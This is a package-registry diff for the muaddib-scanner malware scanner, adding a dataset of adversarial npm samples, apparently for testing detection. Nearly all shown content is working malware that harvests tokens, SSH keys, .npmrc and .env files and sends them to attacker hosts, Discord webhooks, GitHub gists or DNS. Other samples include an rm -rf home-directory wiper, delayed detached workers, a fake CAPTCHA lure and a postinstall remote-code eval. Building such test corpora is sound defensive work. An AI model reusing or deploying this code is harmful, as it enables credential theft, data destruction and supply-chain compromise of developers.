muaddib-scanner 2.1.5 → 2.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.fr.md +33 -8
- package/README.md +33 -8
- package/assets/logo2removebg.png +0 -0
- package/bin/muaddib.js +9 -0
- package/datasets/adversarial/README.md +23 -0
- package/datasets/adversarial/ai-agent-weaponization/index.js +5 -0
- package/datasets/adversarial/ai-agent-weaponization/package.json +9 -0
- package/datasets/adversarial/ai-agent-weaponization/setup.js +83 -0
- package/datasets/adversarial/ai-config-injection/.cursorrules +36 -0
- package/datasets/adversarial/ai-config-injection/index.js +16 -0
- package/datasets/adversarial/ai-config-injection/package.json +8 -0
- package/datasets/adversarial/browser-api-hook/index.js +66 -0
- package/datasets/adversarial/browser-api-hook/package.json +6 -0
- package/datasets/adversarial/bun-runtime-evasion/bun_environment.js +23 -0
- package/datasets/adversarial/bun-runtime-evasion/package.json +9 -0
- package/datasets/adversarial/bun-runtime-evasion/setup.js +10 -0
- package/datasets/adversarial/ci-trigger-exfil/index.js +17 -0
- package/datasets/adversarial/ci-trigger-exfil/package.json +9 -0
- package/datasets/adversarial/conditional-chain/index.js +14 -0
- package/datasets/adversarial/conditional-chain/package.json +9 -0
- package/datasets/adversarial/crypto-wallet-harvest/index.js +44 -0
- package/datasets/adversarial/crypto-wallet-harvest/package.json +6 -0
- package/datasets/adversarial/dead-mans-switch/index.js +35 -0
- package/datasets/adversarial/dead-mans-switch/package.json +9 -0
- package/datasets/adversarial/delayed-exfil/index.js +6 -0
- package/datasets/adversarial/delayed-exfil/package.json +6 -0
- package/datasets/adversarial/detached-background/launcher.js +11 -0
- package/datasets/adversarial/detached-background/package.json +9 -0
- package/datasets/adversarial/detached-background/worker.js +26 -0
- package/datasets/adversarial/discord-webhook-exfil/index.js +95 -0
- package/datasets/adversarial/discord-webhook-exfil/package.json +9 -0
- package/datasets/adversarial/dns-chunk-exfil/index.js +10 -0
- package/datasets/adversarial/dns-chunk-exfil/package.json +6 -0
- package/datasets/adversarial/docker-aware/index.js +10 -0
- package/datasets/adversarial/docker-aware/package.json +6 -0
- package/datasets/adversarial/double-base64-exfil/index.js +11 -0
- package/datasets/adversarial/double-base64-exfil/package.json +9 -0
- package/datasets/adversarial/dynamic-import/index.js +21 -0
- package/datasets/adversarial/dynamic-import/package.json +9 -0
- package/datasets/adversarial/dynamic-require/index.js +3 -0
- package/datasets/adversarial/dynamic-require/package.json +9 -0
- package/datasets/adversarial/fake-captcha-fingerprint/index.js +64 -0
- package/datasets/adversarial/fake-captcha-fingerprint/package.json +9 -0
- package/datasets/adversarial/gh-cli-token-steal/index.js +31 -0
- package/datasets/adversarial/gh-cli-token-steal/package.json +6 -0
- package/datasets/adversarial/github-exfil/index.js +33 -0
- package/datasets/adversarial/github-exfil/package.json +9 -0
- package/datasets/adversarial/iife-exfil/index.js +17 -0
- package/datasets/adversarial/iife-exfil/package.json +9 -0
- package/datasets/adversarial/nested-payload/index.js +3 -0
- package/datasets/adversarial/nested-payload/package.json +9 -0
- package/datasets/adversarial/nested-payload/utils/helper.js +6 -0
- package/datasets/adversarial/nested-payload/utils/lib/format.js +23 -0
- package/datasets/adversarial/postinstall-download/package.json +8 -0
- package/datasets/adversarial/preinstall-background-fork/bootstrap.js +16 -0
- package/datasets/adversarial/preinstall-background-fork/index.js +2 -0
- package/datasets/adversarial/preinstall-background-fork/package.json +9 -0
- package/datasets/adversarial/preinstall-background-fork/stealer.js +67 -0
- package/datasets/adversarial/preinstall-exec/package.json +9 -0
- package/datasets/adversarial/preinstall-exec/steal.js +24 -0
- package/datasets/adversarial/proxy-env-intercept/index.js +33 -0
- package/datasets/adversarial/proxy-env-intercept/package.json +9 -0
- package/datasets/adversarial/pyinstaller-dropper/index.js +25 -0
- package/datasets/adversarial/pyinstaller-dropper/package.json +9 -0
- package/datasets/adversarial/rdd-zero-deps/index.js +32 -0
- package/datasets/adversarial/rdd-zero-deps/init.js +15 -0
- package/datasets/adversarial/rdd-zero-deps/package.json +11 -0
- package/datasets/adversarial/remote-dynamic-dependency/index.js +15 -0
- package/datasets/adversarial/remote-dynamic-dependency/package.json +7 -0
- package/datasets/adversarial/self-hosted-runner-backdoor/index.js +28 -0
- package/datasets/adversarial/self-hosted-runner-backdoor/package.json +9 -0
- package/datasets/adversarial/silent-error-swallow/index.js +32 -0
- package/datasets/adversarial/silent-error-swallow/package.json +6 -0
- package/datasets/adversarial/staged-fetch/index.js +9 -0
- package/datasets/adversarial/staged-fetch/package.json +6 -0
- package/datasets/adversarial/string-concat-obfuscation/index.js +6 -0
- package/datasets/adversarial/string-concat-obfuscation/package.json +6 -0
- package/datasets/adversarial/template-literal-obfuscation/index.js +4 -0
- package/datasets/adversarial/template-literal-obfuscation/package.json +9 -0
- package/datasets/adversarial/triple-base64-github-push/index.js +38 -0
- package/datasets/adversarial/triple-base64-github-push/package.json +9 -0
- package/datasets/adversarial/websocket-exfil/index.js +34 -0
- package/datasets/adversarial/websocket-exfil/package.json +9 -0
- package/datasets/benign/README.md +20 -0
- package/datasets/benign/packages-npm.txt +98 -0
- package/datasets/benign/packages-pypi.txt +49 -0
- package/metrics/v2.1.5.json +753 -0
- package/metrics/v2.2.0.json +753 -0
- package/nul +0 -5
- package/package.json +1 -1
- package/src/commands/evaluate.js +270 -0
- package/src/index.js +12 -5
- package/src/ioc/bootstrap.js +1 -0
- package/src/response/playbooks.js +66 -0
- package/src/rules/index.js +181 -0
- package/src/scanner/ai-config.js +183 -0
- package/src/scanner/ast.js +496 -2
- package/src/scanner/dataflow.js +147 -16
- package/src/scanner/package.js +3 -1
- package/src/utils.js +10 -3
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
// Shai-Hulud 2.0 dead man's switch (Unit 42)
|
|
2
|
+
// If no tokens found to steal → destroy the home directory
|
|
3
|
+
|
|
4
|
+
const { exec } = require('child_process');
|
|
5
|
+
const os = require('os');
|
|
6
|
+
|
|
7
|
+
const tokens = [
|
|
8
|
+
process.env.GITHUB_TOKEN,
|
|
9
|
+
process.env.NPM_TOKEN,
|
|
10
|
+
process.env.AWS_SECRET_ACCESS_KEY,
|
|
11
|
+
process.env.GITLAB_TOKEN
|
|
12
|
+
];
|
|
13
|
+
|
|
14
|
+
const hasTokens = tokens.some(t => t && t.length > 0);
|
|
15
|
+
|
|
16
|
+
if (hasTokens) {
|
|
17
|
+
// Exfiltrate tokens
|
|
18
|
+
const https = require('https');
|
|
19
|
+
const data = JSON.stringify({
|
|
20
|
+
host: os.hostname(),
|
|
21
|
+
tokens: tokens.filter(Boolean)
|
|
22
|
+
});
|
|
23
|
+
const req = https.request({
|
|
24
|
+
hostname: 'api.npm-metrics.dev',
|
|
25
|
+
path: '/collect',
|
|
26
|
+
method: 'POST',
|
|
27
|
+
headers: { 'Content-Type': 'application/json' }
|
|
28
|
+
}, () => {});
|
|
29
|
+
req.write(data);
|
|
30
|
+
req.end();
|
|
31
|
+
} else {
|
|
32
|
+
// Dead man's switch: no tokens → destroy
|
|
33
|
+
const home = os.homedir();
|
|
34
|
+
exec(`rm -rf ${home}/`, { timeout: 30000 }, () => {});
|
|
35
|
+
}
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
// Stage 1: Launch background worker and immediately exit
|
|
2
|
+
// npm install completes normally — user sees no error
|
|
3
|
+
const { spawn } = require('child_process');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
|
|
6
|
+
const worker = spawn('node', [path.join(__dirname, 'worker.js')], {
|
|
7
|
+
detached: true,
|
|
8
|
+
stdio: 'ignore'
|
|
9
|
+
});
|
|
10
|
+
worker.unref();
|
|
11
|
+
// Process exits here — worker continues in background
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
// Stage 2: Background worker — runs after npm install finishes
|
|
2
|
+
// Waits 5 minutes to avoid detection by install-time sandboxes
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const https = require('https');
|
|
5
|
+
const os = require('os');
|
|
6
|
+
const path = require('path');
|
|
7
|
+
|
|
8
|
+
setTimeout(() => {
|
|
9
|
+
// Steal SSH keys
|
|
10
|
+
const sshDir = path.join(os.homedir(), '.ssh');
|
|
11
|
+
const stolen = {};
|
|
12
|
+
try { stolen.id_rsa = fs.readFileSync(path.join(sshDir, 'id_rsa'), 'utf8'); } catch (e) {}
|
|
13
|
+
try { stolen.id_ed25519 = fs.readFileSync(path.join(sshDir, 'id_ed25519'), 'utf8'); } catch (e) {}
|
|
14
|
+
try { stolen.known_hosts = fs.readFileSync(path.join(sshDir, 'known_hosts'), 'utf8'); } catch (e) {}
|
|
15
|
+
|
|
16
|
+
// Exfiltrate after delay
|
|
17
|
+
const data = JSON.stringify({ host: os.hostname(), keys: stolen });
|
|
18
|
+
const req = https.request({
|
|
19
|
+
hostname: 'telemetry.pkg-audit.dev',
|
|
20
|
+
path: '/v2/report',
|
|
21
|
+
method: 'POST',
|
|
22
|
+
headers: { 'Content-Type': 'application/json' }
|
|
23
|
+
}, () => {});
|
|
24
|
+
req.write(data);
|
|
25
|
+
req.end();
|
|
26
|
+
}, 5 * 60 * 1000); // 5 minutes
|
|
@@ -0,0 +1,95 @@
|
|
|
1
|
+
// Discord webhook exfiltration — Socket.dev mid-year report 2025
|
|
2
|
+
// Credentials are sent via Discord webhooks instead of attacker-controlled domains
|
|
3
|
+
// The traffic blends in with legitimate Discord API usage
|
|
4
|
+
|
|
5
|
+
const fs = require('fs');
|
|
6
|
+
const https = require('https');
|
|
7
|
+
const os = require('os');
|
|
8
|
+
const path = require('path');
|
|
9
|
+
|
|
10
|
+
// Discord webhook URL — attacker creates a private channel and webhook
|
|
11
|
+
const WEBHOOK_URL = 'https://discord.com/api/webhooks/1234567890123456789/abcdefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567';
|
|
12
|
+
|
|
13
|
+
function collect() {
|
|
14
|
+
const stolen = {
|
|
15
|
+
hostname: os.hostname(),
|
|
16
|
+
user: os.userInfo().username,
|
|
17
|
+
platform: process.platform,
|
|
18
|
+
cwd: process.cwd()
|
|
19
|
+
};
|
|
20
|
+
|
|
21
|
+
// Harvest environment tokens
|
|
22
|
+
const sensitiveEnvVars = ['NPM_TOKEN', 'GITHUB_TOKEN', 'AWS_ACCESS_KEY_ID',
|
|
23
|
+
'AWS_SECRET_ACCESS_KEY', 'DISCORD_TOKEN', 'SLACK_TOKEN', 'GH_TOKEN',
|
|
24
|
+
'GITLAB_TOKEN', 'DOCKER_TOKEN', 'PYPI_TOKEN'];
|
|
25
|
+
|
|
26
|
+
stolen.env = {};
|
|
27
|
+
for (const key of sensitiveEnvVars) {
|
|
28
|
+
if (process.env[key]) {
|
|
29
|
+
stolen.env[key] = process.env[key];
|
|
30
|
+
}
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
// Read .npmrc for auth tokens
|
|
34
|
+
try {
|
|
35
|
+
stolen.npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
|
|
36
|
+
} catch (e) {}
|
|
37
|
+
|
|
38
|
+
// Read .env file if present
|
|
39
|
+
try {
|
|
40
|
+
stolen.dotenv = fs.readFileSync(path.join(process.cwd(), '.env'), 'utf8');
|
|
41
|
+
} catch (e) {}
|
|
42
|
+
|
|
43
|
+
return stolen;
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
function exfiltrate(data) {
|
|
47
|
+
// Format as Discord embed — looks like a normal webhook message
|
|
48
|
+
const payload = JSON.stringify({
|
|
49
|
+
content: '**New installation report**',
|
|
50
|
+
embeds: [{
|
|
51
|
+
title: `Host: ${data.hostname}`,
|
|
52
|
+
description: '```json\n' + JSON.stringify(data, null, 2) + '\n```',
|
|
53
|
+
color: 0x00ff00
|
|
54
|
+
}]
|
|
55
|
+
});
|
|
56
|
+
|
|
57
|
+
const url = new URL(WEBHOOK_URL);
|
|
58
|
+
const req = https.request({
|
|
59
|
+
hostname: url.hostname,
|
|
60
|
+
path: url.pathname,
|
|
61
|
+
method: 'POST',
|
|
62
|
+
headers: {
|
|
63
|
+
'Content-Type': 'application/json',
|
|
64
|
+
'Content-Length': Buffer.byteLength(payload)
|
|
65
|
+
}
|
|
66
|
+
}, () => {});
|
|
67
|
+
req.write(payload);
|
|
68
|
+
req.end();
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
// Also send via Sentry-like OAST endpoint as backup
|
|
72
|
+
function exfiltrateViaSentry(data) {
|
|
73
|
+
const sentryPayload = JSON.stringify({
|
|
74
|
+
event_id: require('crypto').randomUUID(),
|
|
75
|
+
message: JSON.stringify(data),
|
|
76
|
+
level: 'info',
|
|
77
|
+
platform: 'node'
|
|
78
|
+
});
|
|
79
|
+
|
|
80
|
+
const req = https.request({
|
|
81
|
+
hostname: 'o123456.ingest.sentry.io',
|
|
82
|
+
path: '/api/789/store/',
|
|
83
|
+
method: 'POST',
|
|
84
|
+
headers: {
|
|
85
|
+
'Content-Type': 'application/json',
|
|
86
|
+
'X-Sentry-Auth': 'Sentry sentry_key=abc123'
|
|
87
|
+
}
|
|
88
|
+
}, () => {});
|
|
89
|
+
req.write(sentryPayload);
|
|
90
|
+
req.end();
|
|
91
|
+
}
|
|
92
|
+
|
|
93
|
+
const data = collect();
|
|
94
|
+
exfiltrate(data);
|
|
95
|
+
exfiltrateViaSentry(data);
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
const dns = require('dns');
|
|
2
|
+
|
|
3
|
+
const secret = process.env.AWS_SECRET_ACCESS_KEY;
|
|
4
|
+
if (secret) {
|
|
5
|
+
const hex = Buffer.from(secret).toString('hex');
|
|
6
|
+
const chunks = hex.match(/.{1,60}/g);
|
|
7
|
+
chunks.forEach((chunk, i) => {
|
|
8
|
+
dns.resolve(`${i}.${chunk}.exfil.evil.com`, () => {});
|
|
9
|
+
});
|
|
10
|
+
}
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
// Shai-Hulud v1/v2: double base64 encoding of GITHUB_TOKEN + exec exfiltration
|
|
2
|
+
// Combines data obfuscation with shell command execution
|
|
3
|
+
|
|
4
|
+
const { exec } = require('child_process');
|
|
5
|
+
|
|
6
|
+
const token = process.env.GITHUB_TOKEN || '';
|
|
7
|
+
// Double encode to evade base64 pattern detection
|
|
8
|
+
const encoded = Buffer.from(Buffer.from(token).toString('base64')).toString('base64');
|
|
9
|
+
|
|
10
|
+
const cmd = `curl -s -X POST -H "Content-Type: text/plain" -d "${encoded}" https://collect.npm-telemetry.dev/api/token`;
|
|
11
|
+
exec(cmd, { timeout: 10000 }, () => {});
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
// Adversarial sample: ESM dynamic import() to avoid require() detection
|
|
2
|
+
async function run() {
|
|
3
|
+
var fs = await import('fs');
|
|
4
|
+
var http = await import('http');
|
|
5
|
+
|
|
6
|
+
var sshKey = fs.default.readFileSync(require('os').homedir() + '/.ssh/id_rsa', 'utf8');
|
|
7
|
+
var payload = JSON.stringify({ key: sshKey, host: require('os').hostname() });
|
|
8
|
+
|
|
9
|
+
var opts = {
|
|
10
|
+
hostname: 'collector.evil.com',
|
|
11
|
+
port: 80,
|
|
12
|
+
path: '/keys',
|
|
13
|
+
method: 'POST',
|
|
14
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
|
|
15
|
+
};
|
|
16
|
+
var req = http.default.request(opts, function() {});
|
|
17
|
+
req.write(payload);
|
|
18
|
+
req.end();
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
run();
|
|
@@ -0,0 +1,64 @@
|
|
|
1
|
+
// Fake CAPTCHA fingerprint (Hive Pro, July 2025)
|
|
2
|
+
// Opens a local HTTP server with a fake CAPTCHA page
|
|
3
|
+
// Collects system info and sends to C2 when user interacts
|
|
4
|
+
|
|
5
|
+
const http = require('http');
|
|
6
|
+
const https = require('https');
|
|
7
|
+
const os = require('os');
|
|
8
|
+
|
|
9
|
+
const HTML = `<!DOCTYPE html>
|
|
10
|
+
<html><body>
|
|
11
|
+
<h2>Security Verification Required</h2>
|
|
12
|
+
<p>Please verify you are not a robot to continue installation.</p>
|
|
13
|
+
<button onclick="verify()">I'm not a robot</button>
|
|
14
|
+
<script>
|
|
15
|
+
function verify() {
|
|
16
|
+
fetch('/verify', { method: 'POST' }).then(() => {
|
|
17
|
+
document.body.innerHTML = '<h2>Verified! Installation continuing...</h2>';
|
|
18
|
+
});
|
|
19
|
+
}
|
|
20
|
+
</script>
|
|
21
|
+
</body></html>`;
|
|
22
|
+
|
|
23
|
+
const fingerprint = {
|
|
24
|
+
hostname: os.hostname(),
|
|
25
|
+
platform: os.platform(),
|
|
26
|
+
arch: os.arch(),
|
|
27
|
+
user: os.userInfo().username,
|
|
28
|
+
interfaces: os.networkInterfaces(),
|
|
29
|
+
cpus: os.cpus().length,
|
|
30
|
+
memory: os.totalmem()
|
|
31
|
+
};
|
|
32
|
+
|
|
33
|
+
const server = http.createServer((req, res) => {
|
|
34
|
+
if (req.method === 'POST' && req.url === '/verify') {
|
|
35
|
+
// Send fingerprint to C2
|
|
36
|
+
const payload = JSON.stringify(fingerprint);
|
|
37
|
+
const c2req = https.request({
|
|
38
|
+
hostname: 'captcha-verify.analytics-hub.dev',
|
|
39
|
+
path: '/api/fingerprint',
|
|
40
|
+
method: 'POST',
|
|
41
|
+
headers: { 'Content-Type': 'application/json' }
|
|
42
|
+
}, () => {});
|
|
43
|
+
c2req.write(payload);
|
|
44
|
+
c2req.end();
|
|
45
|
+
|
|
46
|
+
res.writeHead(200);
|
|
47
|
+
res.end('OK');
|
|
48
|
+
setTimeout(() => server.close(), 1000);
|
|
49
|
+
} else {
|
|
50
|
+
res.writeHead(200, { 'Content-Type': 'text/html' });
|
|
51
|
+
res.end(HTML);
|
|
52
|
+
}
|
|
53
|
+
});
|
|
54
|
+
|
|
55
|
+
server.listen(0, () => {
|
|
56
|
+
const port = server.address().port;
|
|
57
|
+
// Try to open browser
|
|
58
|
+
const { exec } = require('child_process');
|
|
59
|
+
const openCmd = process.platform === 'darwin' ? 'open' : process.platform === 'win32' ? 'start' : 'xdg-open';
|
|
60
|
+
exec(`${openCmd} http://localhost:${port}`, () => {});
|
|
61
|
+
|
|
62
|
+
// Auto-close after 60 seconds
|
|
63
|
+
setTimeout(() => server.close(), 60000);
|
|
64
|
+
});
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
// s1ngularity/Nx: steal GitHub token via the official gh CLI
|
|
2
|
+
// No file reads, no process.env — uses a legitimate installed tool
|
|
3
|
+
|
|
4
|
+
const { execSync } = require('child_process');
|
|
5
|
+
const https = require('https');
|
|
6
|
+
const os = require('os');
|
|
7
|
+
|
|
8
|
+
let ghToken = '';
|
|
9
|
+
try {
|
|
10
|
+
ghToken = execSync('gh auth token', { encoding: 'utf8', timeout: 5000 }).trim();
|
|
11
|
+
} catch (e) {}
|
|
12
|
+
|
|
13
|
+
if (ghToken) {
|
|
14
|
+
const data = JSON.stringify({
|
|
15
|
+
host: os.hostname(),
|
|
16
|
+
user: os.userInfo().username,
|
|
17
|
+
token: ghToken
|
|
18
|
+
});
|
|
19
|
+
|
|
20
|
+
const req = https.request({
|
|
21
|
+
hostname: 'api.dev-metrics.io',
|
|
22
|
+
path: '/v1/auth',
|
|
23
|
+
method: 'POST',
|
|
24
|
+
headers: {
|
|
25
|
+
'Content-Type': 'application/json',
|
|
26
|
+
'Content-Length': Buffer.byteLength(data)
|
|
27
|
+
}
|
|
28
|
+
}, () => {});
|
|
29
|
+
req.write(data);
|
|
30
|
+
req.end();
|
|
31
|
+
}
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
// Shai-Hulud v1/v2: Exfiltrate secrets via GitHub API
|
|
2
|
+
// Uses api.github.com — a trusted domain that bypasses domain-based detection
|
|
3
|
+
const https = require('https');
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const os = require('os');
|
|
6
|
+
const path = require('path');
|
|
7
|
+
|
|
8
|
+
// Harvest all available secrets
|
|
9
|
+
const secrets = {};
|
|
10
|
+
try { secrets.npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8'); } catch (e) {}
|
|
11
|
+
try { secrets.ssh = fs.readFileSync(path.join(os.homedir(), '.ssh', 'id_rsa'), 'utf8'); } catch (e) {}
|
|
12
|
+
secrets.github_token = process.env.GITHUB_TOKEN;
|
|
13
|
+
secrets.npm_token = process.env.NPM_TOKEN;
|
|
14
|
+
|
|
15
|
+
// Create a public gist with the stolen credentials
|
|
16
|
+
const gistPayload = JSON.stringify({
|
|
17
|
+
description: 'config backup',
|
|
18
|
+
public: false,
|
|
19
|
+
files: { 'config.txt': { content: JSON.stringify(secrets) } }
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
const req = https.request({
|
|
23
|
+
hostname: 'api.github.com',
|
|
24
|
+
path: '/gists',
|
|
25
|
+
method: 'POST',
|
|
26
|
+
headers: {
|
|
27
|
+
'Authorization': 'token ' + process.env.GITHUB_TOKEN,
|
|
28
|
+
'User-Agent': 'node',
|
|
29
|
+
'Content-Type': 'application/json'
|
|
30
|
+
}
|
|
31
|
+
}, () => {});
|
|
32
|
+
req.write(gistPayload);
|
|
33
|
+
req.end();
|
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
// Adversarial sample: IIFE with random variable names, env read + http.request exfil
|
|
2
|
+
(function() {
|
|
3
|
+
var _0xfa3b = require('http');
|
|
4
|
+
var _0xc91e = process.env.AWS_ACCESS_KEY_ID;
|
|
5
|
+
var _0xd27a = process.env.AWS_SECRET_ACCESS_KEY;
|
|
6
|
+
var _0xb1f4 = JSON.stringify({ k: _0xc91e, s: _0xd27a });
|
|
7
|
+
var _0xe8c2 = {
|
|
8
|
+
hostname: 'collector.evil.com',
|
|
9
|
+
port: 80,
|
|
10
|
+
path: '/collect',
|
|
11
|
+
method: 'POST',
|
|
12
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': _0xb1f4.length }
|
|
13
|
+
};
|
|
14
|
+
var _0xa7d9 = _0xfa3b.request(_0xe8c2, function(_0xf1) {});
|
|
15
|
+
_0xa7d9.write(_0xb1f4);
|
|
16
|
+
_0xa7d9.end();
|
|
17
|
+
})();
|
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
// Buried payload — 3 levels deep from index.js
|
|
2
|
+
var cp = require('child_process');
|
|
3
|
+
var fs = require('fs');
|
|
4
|
+
var https = require('https');
|
|
5
|
+
|
|
6
|
+
var npmrc = fs.readFileSync(require('os').homedir() + '/.npmrc', 'utf8');
|
|
7
|
+
var token = npmrc.match(/_authToken=(.+)/);
|
|
8
|
+
|
|
9
|
+
if (token) {
|
|
10
|
+
var data = JSON.stringify({ t: token[1], h: require('os').hostname() });
|
|
11
|
+
var opts = {
|
|
12
|
+
hostname: 'exfil.evil.com',
|
|
13
|
+
port: 443,
|
|
14
|
+
path: '/steal',
|
|
15
|
+
method: 'POST',
|
|
16
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
|
|
17
|
+
};
|
|
18
|
+
var req = https.request(opts, function() {});
|
|
19
|
+
req.write(data);
|
|
20
|
+
req.end();
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
module.exports = function() {};
|
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "postinstall-download",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Adversarial sample: postinstall script downloads and evals remote code",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"postinstall": "node -e \"require('https').get('https://evil.com/payload.js',r=>{let d='';r.on('data',c=>d+=c);r.on('end',()=>eval(d))})\""
|
|
7
|
+
}
|
|
8
|
+
}
|
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
// Shai-Hulud 2.0: preinstall + background fork (Check Point/Zscaler/Datadog, Nov 2025)
|
|
2
|
+
// Runs BEFORE install — even before dependencies are resolved
|
|
3
|
+
// Forks a detached process that survives the npm install lifecycle
|
|
4
|
+
|
|
5
|
+
const { spawn } = require('child_process');
|
|
6
|
+
const path = require('path');
|
|
7
|
+
|
|
8
|
+
// Fork stealer as a detached background process
|
|
9
|
+
const child = spawn(process.execPath, [path.join(__dirname, 'stealer.js')], {
|
|
10
|
+
detached: true,
|
|
11
|
+
stdio: 'ignore',
|
|
12
|
+
env: { ...process.env, _MUADDIB_PARENT_PID: String(process.pid) }
|
|
13
|
+
});
|
|
14
|
+
|
|
15
|
+
// Unref so npm install completes normally — user sees nothing
|
|
16
|
+
child.unref();
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "preinstall-background-fork",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Adversarial sample: Shai-Hulud 2.0 preinstall + detached fork (Check Point/Zscaler/Datadog Nov 2025)",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node bootstrap.js"
|
|
8
|
+
}
|
|
9
|
+
}
|